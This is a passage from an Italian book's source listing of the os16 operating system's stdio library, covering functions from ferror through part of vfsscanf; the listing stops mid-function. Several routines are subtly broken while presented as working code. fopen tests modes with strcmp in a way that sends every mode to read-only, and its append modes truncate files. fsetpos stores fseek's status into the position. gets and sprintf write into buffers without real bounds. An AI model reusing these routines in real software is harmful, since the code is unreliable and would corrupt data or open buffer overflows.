Si veda la sezione 99.29.

```
2480001 #include <stdio.h>
2480002 //----------------------------------------------------------------------
2480003 int
2480004 ferror (FILE *fp)
2480005 {
2480006     if (fp != NULL)
2480007       {
2480008         return (fp->error);
2480009       }
2480010     return (0);
2480011 }
```

106.9.6 lib/stdio/fflush.c

Si veda la sezione 99.30.

```
2490001 #include <stdio.h>
2490002 //----------------------------------------------------------------------
2490003 int
2490004 fflush (FILE *fp)
2490005 {
2490006     //
2490007     // The os16 library does not have any buffered data.
```

```
2490008     //
2490009     return (0);
2490010 }
```

106.9.7 lib/stdio/fgetc.c

Si veda la sezione 99.31.

```
2500001 #include <stdio.h>
2500002 #include <sys/types.h>
2500003 #include <unistd.h>
2500004 //----------------------------------------------------------------------
2500005 int
2500006 fgetc (FILE *fp)
2500007 {
2500008     ssize_t size_read;
2500009     int     c;          // Character read.
2500010     //
2500011     for (c = 0;;)
2500012       {
2500013         size_read = read (fp->fdn, &c, (size_t) 1);
2500014         //
2500015         if (size_read <= 0)
2500016           {
2500017             //
2500018             // It is the end of file (zero) otherwise there is a
2500019             // problem (a negative value): return 'EOF'.
2500020             //
2500021             return (EOF);
2500022           }
2500023         //
2500024         // Valid read: end of scan.
2500025         //
2500026         return (c);
2500027       }
2500028 }
```

106.9.8 lib/stdio/fgetpos.c

Si veda la sezione 99.32.

```
2510001 #include <stdio.h>
2510002 //----------------------------------------------------------------------
2510003 int
2510004 fgetpos (FILE *restrict fp, fpos_t *restrict pos)
2510005 {
2510006     long int position;
2510007     //
2510008     if (fp != NULL)
```

```
2510009         {
2510010           position = ftell (fp);
2510011           if (position >= 0)
2510012             {
2510013               *pos = position;
2510014               return (0);
2510015             }
2510016         }
2510017       return (-1);
2510018   }
```

106.9.9 lib/stdio/fgets.c

Si veda la sezione 99.33.

```
2520001   #include <stdio.h>
2520002   #include <sys/types.h>
2520003   #include <unistd.h>
2520004   #include <stddef.h>
2520005   //----------------------------------------------------------------------
2520006   char *
2520007   fgets (char *restrict string, int n, FILE *restrict fp)
2520008   {
2520009       ssize_t size_read;
2520010       int     b;          // Index inside the string buffer.
2520011       //
2520012       for (b = 0; b < (n-1); b++, string[b] = 0)
2520013         {
2520014           size_read = read (fp->fdn, &string[b], (size_t) 1);
2520015           //
2520016           if (size_read <= 0)
2520017             {
2520018               //
2520019               // It is the end of file (zero) otherwise there is a
2520020               // problem (a negative value).
2520021               //
2520022               string[b] = 0;
2520023               break;
2520024             }
2520025           //
2520026           if (string[b] == '\n')
2520027             {
2520028               b++;
2520029               string[b] = 0;
2520030               break;
2520031             }
2520032         }
2520033       //
2520034       // If `b` is zero, nothing was read and `NULL' is returned.
2520035       //
2520036       if (b == 0)
```

```
2520037         {
2520038           return (NULL);
2520039         }
2520040       else
2520041         {
2520042           return (string);
2520043         }
2520044   }
```

106.9.10 lib/stdio/fileno.c

Si veda la sezione 99.34.

```
2530001   #include <stdio.h>
2530002   #include <errno.h>
2530003   //----------------------------------------------------------------------
2530004   int
2530005   fileno (FILE *fp)
2530006   {
2530007       if (fp != NULL)
2530008         {
2530009           return (fp->fdn);
2530010         }
2530011       errset (EBADF);                      // Bad file descriptor.
2530012       return (-1);
2530013   }
```

106.9.11 lib/stdio/fopen.c

Si veda la sezione 99.35.

```
2540001   #include <fcntl.h>
2540002   #include <stdarg.h>
2540003   #include <stddef.h>
2540004   #include <string.h>
2540005   #include <errno.h>
2540006   #include <sys/os16.h>
2540007   #include <const.h>
2540008   #include <limits.h>
2540009   #include <stdio.h>
2540010
2540011   //----------------------------------------------------------------------
2540012   FILE *
2540013   fopen (const char *path, const char *mode)
2540014   {
2540015       int fdn;
2540016       //
2540017       if      (strcmp (mode, "r")    ||
2540018                strcmp (mode, "rb"))
```

```
2540019         {
2540020           fdn = open (path, O_RDONLY);
2540021         }
2540022       else if (strcmp (mode, "r+")  ||
2540023                strcmp (mode, "r+b") ||
2540024                strcmp (mode, "rb+"))
2540025         {
2540026           fdn = open (path, O_RDWR);
2540027         }
2540028       else if (strcmp (mode, "w")  ||
2540029                strcmp (mode, "wb"))
2540030         {
2540031           fdn = open (path, O_WRONLY|O_CREAT|O_TRUNC, 0666);
2540032         }
2540033       else if (strcmp (mode, "w+")  ||
2540034                strcmp (mode, "w+b") ||
2540035                strcmp (mode, "wb+"))
2540036         {
2540037           fdn = open (path, O_RDWR|O_CREAT|O_TRUNC, 0666);
2540038         }
2540039       else if (strcmp (mode, "a")  ||
2540040                strcmp (mode, "ab"))
2540041         {
2540042           fdn = open (path, O_WRONLY|O_APPEND|O_CREAT|O_TRUNC, 0666);
2540043         }
2540044       else if (strcmp (mode, "a+")  ||
2540045                strcmp (mode, "a+b") ||
2540046                strcmp (mode, "ab+"))
2540047         {
2540048           fdn = open (path, O_RDWR|O_APPEND|O_CREAT|O_TRUNC, 0666);
2540049         }
2540050       else
2540051         {
2540052           errset (EINVAL);                // Invalid argument.
2540053           return (NULL);
2540054         }
2540055       //
2540056       // Check the file descriptor returned.
2540057       //
2540058       if (fdn < 0)
2540059         {
2540060           //
2540061           // The variable 'errno' is already set.
2540062           //
2540063           errset (errno);
2540064           return (NULL);
2540065         }
2540066       //
2540067       // A valid file descriptor is available: convert it into a file
2540068       // stream. Please note that the file descriptor number must be
2540069       // saved inside the corresponding '_stream[]' array, because the
2540070       // file pointer do not have knowledge of the relative position
```

```
2540071      // inside the array.
2540072      //
2540073      _stream[fdn].fdn = fdn;       // Saved the file descriptor number.
2540074      //
2540075      return (&_stream[fdn]);       // Returned the file stream pointer.
2540076  }
```

106.9.12 lib/stdio/fprintf.c

Si veda la sezione 99.78.

```
2550001  #include <stdio.h>
2550002
2550003  //----------------------------------------------------------------------
2550004  int
2550005  fprintf (FILE *fp, char *restrict format, ...)
2550006  {
2550007      va_list ap;
2550008      va_start (ap, format);
2550009      return (vfprintf (fp, format, ap));
2550010  }
```

106.9.13 lib/stdio/fputc.c

Si veda la sezione 99.37.

```
2560001  #include <stdio.h>
2560002  #include <sys/types.h>
2560003  #include <sys/os16.h>
2560004  #include <string.h>
2560005  #include <unistd.h>
2560006  //----------------------------------------------------------------------
2560007  int
2560008  fputc (int c, FILE *fp)
2560009  {
2560010      ssize_t size_written;
2560011      char    character = (char) c;
2560012      size_written = write (fp->fdn, &character, (size_t) 1);
2560013      if (size_written < 0)
2560014        {
2560015          fp->eof = 1;
2560016          return (EOF);
2560017        }
2560018      return (c);
2560019  }
```

106.9.14 lib/stdio/fputs.c

Si veda la sezione 99.38.

```
2570001 #include <stdio.h>
2570002 #include <string.h>
2570003 //----------------------------------------------------------------------
2570004 int
2570005 fputs (const char *restrict string, FILE *restrict fp)
2570006 {
2570007     int      i; // Index inside the string to be printed.
2570008     int status;
2570009 
2570010     for (i = 0; i < strlen (string); i++)
2570011       {
2570012         status = fputc (string[i], fp);
2570013         if (status == EOF)
2570014           {
2570015             fp->eof = 1;
2570016             return (EOF);
2570017           }
2570018       }
2570019     return (0);
2570020 }
```

106.9.15 lib/stdio/fread.c

Si veda la sezione 99.39.

```
2580001 #include <unistd.h>
2580002 #include <stdio.h>
2580003 //----------------------------------------------------------------------
2580004 size_t
2580005 fread (void *restrict buffer, size_t size, size_t nmemb,
2580006        FILE *restrict fp)
2580007 {
2580008     ssize_t size_read;
2580009     size_read = read (fp->fdn, buffer, (size_t) (size * nmemb));
2580010     if (size_read == 0)
2580011       {
2580012         fp->eof = 1;
2580013         return ((size_t) 0);
2580014       }
2580015     else if (size_read < 0)
2580016       {
2580017         fp->error = 1;
2580018         return ((size_t) 0);
2580019       }
2580020     else
2580021       {
2580022         return ((size_t) (size_read / size));
```

```
2580023         }
2580024 }
```

106.9.16 lib/stdio/freopen.c

Si veda la sezione 99.35.

```
2590001 #include <fcntl.h>
2590002 #include <stdarg.h>
2590003 #include <stddef.h>
2590004 #include <string.h>
2590005 #include <errno.h>
2590006 #include <sys/os16.h>
2590007 #include <const.h>
2590008 #include <limits.h>
2590009 #include <stdio.h>
2590010 
2590011 //----------------------------------------------------------------------
2590012 FILE *
2590013 freopen (const char *restrict path, const char *restrict mode,
2590014          FILE *restrict fp)
2590015 {
2590016     int   status;
2590017     FILE *fp_new;
2590018     //
2590019     if (fp == NULL)
2590020       {
2590021         return (NULL);
2590022       }
2590023     //
2590024     status = fclose (fp);
2590025     if (status != 0)
2590026       {
2590027         fp->error = 1;
2590028         return (NULL);
2590029       }
2590030     //
2590031     fp_new = fopen (path, mode);
2590032     //
2590033     if (fp_new == NULL)
2590034       {
2590035         return (NULL);
2590036       }
2590037     //
2590038     if (fp_new != fp)
2590039       {
2590040         fclose (fp_new);
2590041         return (NULL);
2590042       }
2590043     //
2590044     return (fp_new);
```

```
2590045 }
```

106.9.17 lib/stdio/fscanf.c

Si veda la sezione 99.90.

```
2600001 #include <stdio.h>
2600002 //----------------------------------------------------------------------
2600003 int
2600004 fscanf (FILE *restrict fp, const char *restrict format, ...)
2600005 {
2600006     va_list ap;
2600007     va_start (ap, format);
2600008     return vfscanf (fp, format, ap);
2600009 }
```

106.9.18 lib/stdio/fseek.c

Si veda la sezione 99.43.

```
2610001 #include <stdio.h>
2610002 #include <unistd.h>
2610003 //----------------------------------------------------------------------
2610004 int
2610005 fseek (FILE *fp, long int offset, int whence)
2610006 {
2610007     off_t off_new;
2610008     off_new = lseek (fp->fdn, (off_t) offset, whence);
2610009     if (off_new < 0)
2610010       {
2610011         fp->error = 1;
2610012         return (-1);
2610013       }
2610014     else
2610015       {
2610016         fp->eof = 0;
2610017         return (0);
2610018       }
2610019 }
```

106.9.19 lib/stdio/fseeko.c

Si veda la sezione 99.43.

```
2620001 #include <stdio.h>
2620002 #include <unistd.h>
2620003 //----------------------------------------------------------------------
2620004 int
```

```
2620005 fseeko (FILE *fp, off_t offset, int whence)
2620006 {
2620007     off_t off_new;
2620008     off_new = lseek (fp->fdn, offset, whence);
2620009     if (off_new < 0)
2620010       {
2620011         fp->error = 1;
2620012         return (-1);
2620013       }
2620014     else
2620015       {
2620016         return (0);
2620017       }
2620018 }
```

106.9.20 lib/stdio/fsetpos.c

Si veda la sezione 99.32.

```
2630001 #include <stdio.h>
2630002 //----------------------------------------------------------------------
2630003 int
2630004 fsetpos (FILE *restrict fp, fpos_t *restrict pos)
2630005 {
2630006     long int position;
2630007     //
2630008     if (fp != NULL)
2630009       {
2630010         position = fseek (fp, (long int) *pos, SEEK_SET);
2630011         if (position >= 0)
2630012           {
2630013             *pos = position;
2630014             return (0);
2630015           }
2630016       }
2630017     return (-1);
2630018 }
```

106.9.21 lib/stdio/ftell.c

Si veda la sezione 99.46.

```
2640001 #include <stdio.h>
2640002 #include <unistd.h>
2640003 //----------------------------------------------------------------------
2640004 long int
2640005 ftell (FILE *fp)
2640006 {
2640007     return ((long int) lseek (fp->fdn, (off_t) 0, SEEK_CUR));
2640008 }
```

106.9.22 lib/stdio/ftello.c

Si veda la sezione 99.46.

```
2650001 #include <stdio.h>
2650002 #include <unistd.h>
2650003 //----------------------------------------------------------------------
2650004 off_t
2650005 ftello (FILE *fp)
2650006 {
2650007     return (lseek (fp->fdn, (off_t) 0, SEEK_CUR));
2650008 }
```

106.9.23 lib/stdio/fwrite.c

Si veda la sezione 99.48.

```
2660001 #include <unistd.h>
2660002 #include <stdio.h>
2660003 //----------------------------------------------------------------------
2660004 size_t
2660005 fwrite (const void *restrict buffer, size_t size, size_t nmemb,
2660006         FILE *restrict fp)
2660007 {
2660008     ssize_t size_written;
2660009     size_written = write (fp->fdn, buffer, (size_t) (size * nmemb));
2660010     if (size_written < 0)
2660011       {
2660012         fp->error = 1;
2660013         return ((size_t) 0);
2660014       }
2660015     else
2660016       {
2660017         return ((size_t) (size_written / size));
2660018       }
2660019 }
```

106.9.24 lib/stdio/getchar.c

Si veda la sezione 99.31.

```
2670001 #include <stdio.h>
2670002 #include <sys/types.h>
2670003 #include <unistd.h>
2670004 //----------------------------------------------------------------------
2670005 int
2670006 getchar (void)
2670007 {
2670008     ssize_t size_read;
2670009     int     c;          // Character read.
```

```
2670010     //
2670011     for (c = 0;;)
2670012       {
2670013         size_read = read (STDIN_FILENO, &c, (size_t) 1);
2670014         //
2670015         if (size_read <= 0)
2670016           {
2670017             //
2670018             // It is the end of file (zero) otherwise there is a
2670019             // problem (a negative value): return 'EOF'.
2670020             //
2670021             _stream[STDIN_FILENO].eof = 1;
2670022             return (EOF);
2670023           }
2670024         //
2670025         // Valid read.
2670026         //
2670027         if (size_read == 0)
2670028           {
2670029             //
2670030             // If no character is ready inside the keyboard buffer, just
2670031             // retry.
2670032             //
2670033             continue;
2670034           }
2670035         //
2670036         // End of scan.
2670037         //
2670038         return (c);
2670039       }
2670040 }
```

106.9.25 lib/stdio/gets.c

Si veda la sezione 99.33.

```
2680001 #include <stdio.h>
2680002 #include <sys/types.h>
2680003 #include <unistd.h>
2680004 #include <stddef.h>
2680005 //----------------------------------------------------------------------
2680006 char *
2680007 gets (char *string)
2680008 {
2680009     ssize_t size_read;
2680010     int     b;          // Index inside the string buffer.
2680011     //
2680012     for (b = 0;; b++, string[b] = 0)
2680013       {
2680014         size_read = read (STDIN_FILENO, &string[b], (size_t) 1);
2680015         //
```

```
2680016          if (size_read <= 0)
2680017            {
2680018              //
2680019              // It is the end of file (zero) otherwise there is a
2680020              // problem (a negative value).
2680021              //
2680022              _stream[STDIN_FILENO].eof = 1;
2680023              string[b] = 0;
2680024              break;
2680025            }
2680026          //
2680027          if (string[b] == '\n')
2680028            {
2680029              b++;
2680030              string[b] = 0;
2680031              break;
2680032            }
2680033        }
2680034      //
2680035      // If 'b' is zero, nothing was read and 'NULL' is returned.
2680036      //
2680037      if (b == 0)
2680038        {
2680039          return (NULL);
2680040        }
2680041      else
2680042        {
2680043          return (string);
2680044        }
2680045  }
```

106.9.26 lib/stdio/perror.c

Si veda la sezione 99.77.

```
2690001  #include <stdio.h>
2690002  #include <errno.h>
2690003  #include <stddef.h>
2690004  #include <string.h>
2690005  //----------------------------------------------------------------------
2690006  void
2690007  perror (const char *string)
2690008  {
2690009      //
2690010      // If errno is zero, there is nothing to show.
2690011      //
2690012      if (errno == 0)
2690013        {
2690014          return;
2690015        }
2690016      //
```

```
2690017        // Show the string if there is one.
2690018        //
2690019        if (string != NULL && strlen (string) > 0)
2690020          {
2690021            printf ("%s: ", string);
2690022          }
2690023        //
2690024        // Show the translated error.
2690025        //
2690026        if (errfn[0] != 0 && errln != 0)
2690027          {
2690028            printf ("[%s:%u:%i] %s\n",
2690029                    errfn, errln, errno, strerror (errno));
2690030          }
2690031        else
2690032          {
2690033            printf ("[%i] %s\n", errno, strerror (errno));
2690034          }
2690035    }
```

106.9.27 lib/stdio/printf.c

Si veda la sezione 99.78.

```
2700001    #include <stdio.h>
2700002    //----------------------------------------------------------------------
2700003    int
2700004    printf (char *restrict format, ...)
2700005    {
2700006        va_list ap;
2700007        va_start (ap, format);
2700008        return (vprintf (format, ap));
2700009    }
```

106.9.28 lib/stdio/puts.c

Si veda la sezione 99.38.

```
2710001    #include <stdio.h>
2710002    //----------------------------------------------------------------------
2710003    int
2710004    puts (const char *string)
2710005    {
2710006        int status;
2710007        status = printf ("%s\n", string);
2710008        if (status < 0)
2710009          {
2710010            return (EOF);
2710011          }
```

```
2710012     else
2710013       {
2710014         return (status);
2710015       }
2710016 }
```

106.9.29 lib/stdio/rewind.c

Si veda la sezione 99.88.

```
2720001 #include <stdio.h>
2720002 //----------------------------------------------------------------------
2720003 void
2720004 rewind (FILE *fp)
2720005 {
2720006     (void) fseek (fp, 0L, SEEK_SET);
2720007     fp->error = 0;
2720008 }
```

106.9.30 lib/stdio/scanf.c

Si veda la sezione 99.90.

```
2730001 #include <stdio.h>
2730002 //----------------------------------------------------------------------
2730003 int
2730004 scanf (const char *restrict format, ...)
2730005 {
2730006     va_list ap;
2730007     va_start (ap, format);
2730008     return vfscanf (stdin, format, ap);
2730009 }
```

106.9.31 lib/stdio/setbuf.c

Si veda la sezione 99.93.

```
2740001 #include <stdio.h>
2740002 //----------------------------------------------------------------------
2740003 void
2740004 setbuf (FILE *restrict fp, char *restrict buffer)
2740005 {
2740006     //
2740007     // The os16 library does not have any buffered data.
2740008     //
2740009     return;
2740010 }
```

106.9.32 lib/stdio/setvbuf.c

Si veda la sezione 99.93.

```
2750001 #include <stdio.h>
2750002 //----------------------------------------------------------------------
2750003 int
2750004 setvbuf (FILE *restrict fp, char *restrict buffer, int buf_mode,
2750005          size_t size)
2750006 {
2750007     //
2750008     // The os16 library does not have any buffered data.
2750009     //
2750010     return (0);
2750011 }
```

106.9.33 lib/stdio/snprintf.c

Si veda la sezione 99.78.

```
2760001 #include <stdio.h>
2760002 #include <stdarg.h>
2760003 //----------------------------------------------------------------------
2760004 int
2760005 snprintf (char *restrict string, size_t size,
2760006           const char *restrict format, ...)
2760007 {
2760008     va_list ap;
2760009     va_start (ap, format);
2760010     return vsnprintf (string, size, format, ap);
2760011 }
```

106.9.34 lib/stdio/sprintf.c

Si veda la sezione 99.78.

```
2770001 #include <stdio.h>
2770002 #include <stdarg.h>
2770003 //----------------------------------------------------------------------
2770004 int
2770005 sprintf (char *restrict string, const char *restrict format,
2770006          ...)
2770007 {
2770008     va_list ap;
2770009     va_start (ap, format);
2770010     return vsnprintf (string, (size_t) BUFSIZ, format, ap);
2770011 }
```

106.9.35 lib/stdio/sscanf.c

Si veda la sezione 99.90.

```
2780001 #include <stdio.h>
2780002 //----------------------------------------------------------------------
2780003 int
2780004 sscanf (char *restrict string, const char *restrict format, ...)
2780005 {
2780006     va_list ap;
2780007     va_start (ap, format);
2780008     return vsscanf (string, format, ap);
2780009 }
```

106.9.36 lib/stdio/vfprintf.c

Si veda la sezione 99.128.

```
2790001 #include <stdio.h>
2790002 #include <sys/types.h>
2790003 #include <sys/os16.h>
2790004 #include <string.h>
2790005 #include <unistd.h>
2790006 //----------------------------------------------------------------------
2790007 int
2790008 vfprintf (FILE *fp, char *restrict format, va_list arg)
2790009 {
2790010     ssize_t     size_written;
2790011     size_t      size;
2790012     size_t      size_total;
2790013     int         status;
2790014     char        string[BUFSIZ];
2790015     char       *buffer = string;
2790016     //
2790017     buffer[0] = 0;
2790018     status    = vsprintf (buffer, format, arg);
2790019     //
2790020     size = strlen (buffer);
2790021     if (size >= BUFSIZ)
2790022       {
2790023         size = BUFSIZ;
2790024       }
2790025     //
2790026     for (size_total = 0, size_written = 0;
2790027          size_total < size;
2790028          size_total += size_written, buffer += size_written)
2790029       {
2790030         size_written = write (fp->fdn, buffer, size - size_total);
2790031         if (size_written < 0)
2790032           {
2790033             return (size_total);
```

```
2790034                 }
2790035             }
2790036         return (size);
2790037     }
```

106.9.37 lib/stdio/vfscanf.c

Si veda la sezione 99.129.

```
2800001 #include <stdio.h>
2800002 
2800003 //----------------------------------------------------------------------
2800004 int vfsscanf (FILE *restrict fp, const char *string,
2800005               const char *restrict format, va_list ap);
2800006 //----------------------------------------------------------------------
2800007 int
2800008 vfscanf (FILE *restrict fp, const char *restrict format, va_list ap)
2800009 {
2800010     return (vfsscanf (fp, NULL, format, ap));
2800011 }
2800012 //----------------------------------------------------------------------
```

106.9.38 lib/stdio/vfsscanf.c

Si veda la sezione 99.129.

```
2810001 #include <stdint.h>
2810002 #include <stdbool.h>
2810003 #include <stdlib.h>
2810004 #include <string.h>
2810005 #include <stdio.h>
2810006 #include <stdarg.h>
2810007 #include <ctype.h>
2810008 #include <errno.h>
2810009 #include <stddef.h>
2810010 //----------------------------------------------------------------------
2810011 //
2810012 // This function is not standard and is able to do the work of both
2810013 // 'vfscanf()' and 'vsscanf()'.
2810014 //
2810015 //----------------------------------------------------------------------
2810016 #define WIDTH_MAX       64
2810017 //----------------------------------------------------------------------
2810018 static intmax_t strtointmax (const char *restrict string,
2810019                              char **restrict endptr, int base,
2810020                              size_t max_width);
2810021 static int      ass_or_eof   (int consumed, int assigned);
2810022 //----------------------------------------------------------------------
2810023 int
```

```
2810024 vfsscanf (FILE *restrict fp, const char *string,
2810025           const char *restrict format, va_list ap)
2810026 {
2810027     int                 f               = 0;            // Format index.
2810028     char                buffer[BUFSIZ];
2810029     const char         *input           = string;       // Default.
2810030     const char         *start           = input;        // Default.
2810031     char               *next            = NULL;
2810032     int                 scanned         = 0;
2810033     //
2810034     bool                stream          = 0;
2810035     bool                flag_star       = 0;
2810036     bool                specifier       = 0;
2810037     bool                specifier_flags = 0;
2810038     bool                specifier_width = 0;
2810039     bool                specifier_type  = 0;
2810040     bool                inverted        = 0;
2810041     //
2810042     char               *ptr_char;
2810043     signed char        *ptr_schar;
2810044     unsigned char      *ptr_uchar;
2810045     short int          *ptr_sshort;
2810046     unsigned short int *ptr_ushort;
2810047     int                *ptr_sint;
2810048     unsigned int       *ptr_uint;
2810049     long int           *ptr_slong;
2810050     unsigned long int  *ptr_ulong;
2810051     intmax_t           *ptr_simax;
2810052     uintmax_t          *ptr_uimax;
2810053     size_t             *ptr_size;
2810054     ptrdiff_t          *ptr_ptrdiff;
2810055     void              **ptr_void;
2810056     //
2810057     size_t              width;
2810058     char                width_string[WIDTH_MAX+1];
2810059     int                 w;              // Index inside width string.
2810060     int                 assigned        = 0;    // Assignment counter.
2810061     int                 consumed        = 0;    // Consumed counter.
2810062     //
2810063     intmax_t            value_i;
2810064     uintmax_t           value_u;
2810065     //
2810066     const char         *end_format;
2810067     const char         *end_input;
2810068     int                 count;          // Generic counter.
2810069     int                 index;          // Generic index.
2810070     bool                ascii[128];
2810071     //
2810072     void               *pstatus;
2810073     //
2810074     // Initialize some data.
2810075     //
```

```
2810076         width_string[0] = '\0';
2810077         end_format      = format + (strlen (format));
2810078         //
2810079         // Check arguments and find where input comes.
2810080         //
2810081         if (fp == NULL && (string == NULL || string[0] == 0))
2810082           {
2810083             errset (EINVAL);                // Invalid argument.
2810084             return (EOF);
2810085           }
2810086         //
2810087         if (fp != NULL && string != NULL && string[0] != 0)
2810088           {
2810089             errset (EINVAL);                // Invalid argument.
2810090             return (EOF);
2810091           }
2810092         //
2810093         if (fp != NULL)
2810094           {
2810095             stream = 1;
2810096           }
2810097         //
2810098         //
2810099         //
2810100         for (;;)
2810101           {
2810102             if (stream)
2810103               {
2810104                 pstatus = fgets (buffer, BUFSIZ, fp);
2810105                 //
2810106                 if (pstatus == NULL)
2810107                   {
2810108                     return (ass_or_eof (consumed, assigned));
2810109                   }
2810110                 //
2810111                 input = buffer;
2810112                 start = input;
2810113                 next  = NULL;
2810114               }
2810115             //
2810116             // Calculate end input.
2810117             //
2810118             end_input = input + (strlen (input));
2810119             //
2810120             // Scan format and input strings. Index 'f' is not reset.
2810121             //
2810122             while (&format[f] < end_format && input < end_input)
2810123               {
2810124                 if (!specifier)
2810125                   {
2810126                     //--------------- The context is not inside a specifier.
2810127                     if (isspace (format[f]))
```

```
2810128                    {
2810129                      //------------------------------------------- Space.
2810130                      while (isspace (*input))
2810131                        {
2810132                          input++;
2810133                        }
2810134                      //
2810135                      // Verify that the input string is not finished.
2810136                      //
2810137                      if (input[0] == 0)
2810138                        {
2810139                          //
2810140                          // As the input string is finished, the format
2810141                          // string index is not advanced, because there
2810142                          // might be more spaces on the next line (if
2810143                          // there is a next line, of course).
2810144                          //
2810145                          continue;
2810146                        }
2810147                      else
2810148                        {
2810149                          f++;
2810150                          continue;
2810151                        }
2810152                    }
2810153                  if (format[f] != '%')
2810154                    {
2810155                      //----------------------------- Ordinary character.
2810156                      if (format[f] == *input)
2810157                        {
2810158                          input++;
2810159                          f++;
2810160                          continue;
2810161                        }
2810162                      else
2810163                        {
2810164                          return (ass_or_eof (consumed, assigned));
2810165                        }
2810166                    }
2810167                  if (format[f] == '%' && format[f+1] == '%')
2810168                    {
2810169                      //------------------------- Matching a literal '%'.
2810170                      f++;
2810171                      if (format[f] == *input)
2810172                        {
2810173                          input++;
2810174                          f++;
2810175                          continue;
2810176                        }
2810177                      else
2810178                        {
2810179                          return (ass_or_eof (consumed, assigned));
```

```
2810180                         }
2810181                       }
2810182                     if (format[f] == '%')
2810183                       {
2810184                         //-------------------------- Percent of a specifier.
2810185                         f++;
2810186                         specifier       = 1;
2810187                         specifier_flags = 1;
2810188                         continue;
2810189                       }
2810190                   }
2810191                 //
2810192                 if (specifier && specifier_flags)
2810193                   {
2810194                     //--------------- The context is inside specifier flags.
2810195                     if (format[f] == '*')
2810196                       {
2810197                         //--------------------- Assignment suppression star.
2810198                         flag_star = 1;
2810199                         f++;
2810200                       }
2810201                     else
2810202                       {
2810203                         //----- End of flags and begin of specifier length.
2810204                         specifier_flags = 0;
2810205                         specifier_width = 1;
2810206                       }
2810207                   }
2810208                 //
2810209                 if (specifier && specifier_width)
2810210                   {
2810211                     //------------- The context is inside a specifier width.
2810212                     for (w = 0;
2810213                               format[f] >= '0'
2810214                            && format[f] <= '9'
2810215                            && w < WIDTH_MAX;
2810216                           w++)
2810217                       {
2810218                         width_string[w] = format[f];
2810219                         f++;
2810220                       }
2810221                     width_string[w] = '\0';
2810222                     width = atoi (width_string);
2810223                     if (width > WIDTH_MAX)
2810224                       {
2810225                         width = WIDTH_MAX;
2810226                       }
2810227                     //
2810228                     // A zero width means an unspecified limit for the field
2810229                     // length.
2810230                     //
2810231                     //--------- End of spec. width and begin of spec. type.
```

```
2810232                     specifier_width = 0;
2810233                     specifier_type  = 1;
2810234                   }
2810235                 //
2810236                 if (specifier && specifier_type)
2810237                   {
2810238                     //
2810239                     // Specifiers with length modifier.
2810240                     //
2810241                     if (format[f] == 'h' && format[f+1] == 'h')
2810242                       {
2810243                         //------------------------------------------- char.
2810244                         if      (format[f+2] == 'd')
2810245                           {
2810246                             //------------------------ signed char, base 10.
2810247                             value_i = strtointmax (input, &next, 10, width);
2810248                             if (input == next)
2810249                               {
2810250                                 return (ass_or_eof (consumed, assigned));
2810251                               }
2810252                             consumed++;
2810253                             if (!flag_star)
2810254                               {
2810255                                 ptr_schar = va_arg (ap, signed char *);
2810256                                *ptr_schar = value_i;
2810257                                 assigned++;
2810258                               }
2810259                             f += 3;
2810260                             input = next;
2810261                           }
2810262                         else if (format[f+2] == 'i')
2810263                           {
2810264                             //------------------- signed char, base unknown.
2810265                             value_i = strtointmax (input, &next, 0, width);
2810266                             if (input == next)
2810267                               {
2810268                                 return (ass_or_eof (consumed, assigned));
2810269                               }
2810270                             consumed++;
2810271                             if (!flag_star)
2810272                               {
2810273                                 ptr_schar = va_arg (ap, signed char *);
2810274                                *ptr_schar = value_i;
2810275                                 assigned++;
2810276                               }
2810277                             f += 3;
2810278                             input = next;
2810279                           }
2810280                         else if (format[f+2] == 'o')
2810281                           {
2810282                             //------------------------- signed char, base 8.
2810283                             value_i = strtointmax (input, &next, 8, width);
```

```
2810284                     if (input == next)
2810285                       {
2810286                         return (ass_or_eof (consumed, assigned));
2810287                       }
2810288                     consumed++;
2810289                     if (!flag_star)
2810290                       {
2810291                         ptr_schar = va_arg (ap, signed char *);
2810292                        *ptr_schar = value_i;
2810293                         assigned++;
2810294                       }
2810295                     f += 3;
2810296                     input = next;
2810297                   }
2810298                 else if (format[f+2] == 'u')
2810299                   {
2810300                     //---------------------- unsigned char, base 10.
2810301                     value_u = strtointmax (input, &next, 10, width);
2810302                     if (input == next)
2810303                       {
2810304                         return (ass_or_eof (consumed, assigned));
2810305                       }
2810306                     consumed++;
2810307                     if (!flag_star)
2810308                       {
2810309                         ptr_uchar = va_arg (ap, unsigned char *);
2810310                        *ptr_uchar = value_u;
2810311                         assigned++;
2810312                       }
2810313                     f += 3;
2810314                     input = next;
2810315                   }
2810316                 else if (format[f+2] == 'x' || format[f+2] == 'X')
2810317                   {
2810318                     //------------------------ signed char, base 16.
2810319                     value_i = strtointmax (input, &next, 16, width);
2810320                     if (input == next)
2810321                       {
2810322                         return (ass_or_eof (consumed, assigned));
2810323                       }
2810324                     consumed++;
2810325                     if (!flag_star)
2810326                       {
2810327                         ptr_schar = va_arg (ap, signed char *);
2810328                        *ptr_schar = value_i;
2810329                         assigned++;
2810330                       }
2810331                     f += 3;
2810332                     input = next;
2810333                   }
2810334                 else if (format[f+2] == 'n')
2810335                   {
```

```
2810336                     //----------- signed char, string index counter.
2810337                     ptr_schar = va_arg (ap, signed char *);
2810338                    *ptr_schar = (signed char)
2810339                                     (input - start + scanned);
2810340                     f += 3;
2810341                   }
2810342                 else
2810343                   {
2810344                     //------------ unsupported or unknown specifier.
2810345                     f += 2;
2810346                   }
2810347               }
2810348             else if (format[f] == 'h')
2810349               {
2810350                 //------------------------------------------- short.
2810351                 if      (format[f+1] == 'd')
2810352                   {
2810353                     //----------------------- signed short, base 10.
2810354                     value_i = strtointmax (input, &next, 10, width);
2810355                     if (input == next)
2810356                       {
2810357                         return (ass_or_eof (consumed, assigned));
2810358                       }
2810359                     consumed++;
2810360                     if (!flag_star)
2810361                       {
2810362                         ptr_sshort = va_arg (ap, signed short *);
2810363                        *ptr_sshort = value_i;
2810364                         assigned++;
2810365                       }
2810366                     f += 2;
2810367                     input = next;
2810368                   }
2810369                 else if (format[f+1] == 'i')
2810370                   {
2810371                     //------------------ signed short, base unknown.
2810372                     value_i = strtointmax (input, &next, 0, width);
2810373                     if (input == next)
2810374                       {
2810375                         return (ass_or_eof (consumed, assigned));
2810376                       }
2810377                     consumed++;
2810378                     if (!flag_star)
2810379                       {
2810380                         ptr_sshort = va_arg (ap, signed short *);
2810381                        *ptr_sshort = value_i;
2810382                         assigned++;
2810383                       }
2810384                     f += 2;
2810385                     input = next;
2810386                   }
2810387                 else if (format[f+1] == 'o')
```

```
2810388                          {
2810389                            //------------------------ signed short, base 8.
2810390                            value_i = strtointmax (input, &next, 8, width);
2810391                            if (input == next)
2810392                              {
2810393                                return (ass_or_eof (consumed, assigned));
2810394                              }
